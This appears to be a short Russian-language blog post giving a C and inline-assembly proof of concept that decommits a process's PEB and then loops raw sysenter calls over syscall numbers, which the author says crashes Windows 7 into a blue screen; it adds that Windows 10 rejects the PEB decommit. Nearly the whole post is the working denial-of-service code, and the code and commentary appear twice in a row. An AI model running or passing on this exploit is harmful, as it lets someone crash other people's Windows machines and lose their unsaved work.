Старый добрый DOS с декоммитом Peb валит win7 в BSOD:
void FreePeb()
{
PVOID pebAddress = NULL;
__asm
{
mov eax, DWORD ptr fs:[0x30]
mov DWORD ptr [pebAddress], eax
}
VirtualFreeEx( GetCurrentProcess(), pebAddress, 0, MEM_DECOMMIT );
}
int wmain( int argc, wchar_t *argv[] )
{
FreePeb();
for ( unsigned int i = 0x1000; i < 0x2000; i++ )
{
__asm
{
push 0
push 0
push 0
push 0
push 0
push retSysenter
mov edx, esp
mov eax, dword ptr [i]
sysenter
retSysenter:
add esp, 5*4
}
}
cin.get();
return 0;
}
А на win10 данный DOS уже не работает, PEB декоммитнуть больше не получится из-за новых битов защиты:
VirtualFreeEx => NtFreeVirtualMemory => MiCheckSecuredVad => возвращает STATUS_INVALID_PAGE_PROTECTION(0xC0000045)
У сожалению нет возможности проверить точную версию ОС, где был пофикшен данный баг, возможно это случилось в dev builds win10 или даже еще раньше.
void FreePeb()
{
PVOID pebAddress = NULL;
__asm
{
mov eax, DWORD ptr fs:[0x30]
mov DWORD ptr [pebAddress], eax
}
VirtualFreeEx( GetCurrentProcess(), pebAddress, 0, MEM_DECOMMIT );
}
int wmain( int argc, wchar_t *argv[] )
{
FreePeb();
for ( unsigned int i = 0x1000; i < 0x2000; i++ )
{
__asm
{
push 0
push 0
push 0
push 0
push 0
push retSysenter
mov edx, esp
mov eax, dword ptr [i]
sysenter
retSysenter:
add esp, 5*4
}
}
cin.get();
return 0;
}
А на win10 данный DOS уже не работает, PEB декоммитнуть больше не получится из-за новых битов защиты:
VirtualFreeEx => NtFreeVirtualMemory => MiCheckSecuredVad => возвращает STATUS_INVALID_PAGE_PROTECTION(0xC0000045)
У сожалению нет возможности проверить точную версию ОС, где был пофикшен данный баг, возможно это случилось в dev builds win10 или даже еще раньше.
Комментариев нет:
Отправить комментарий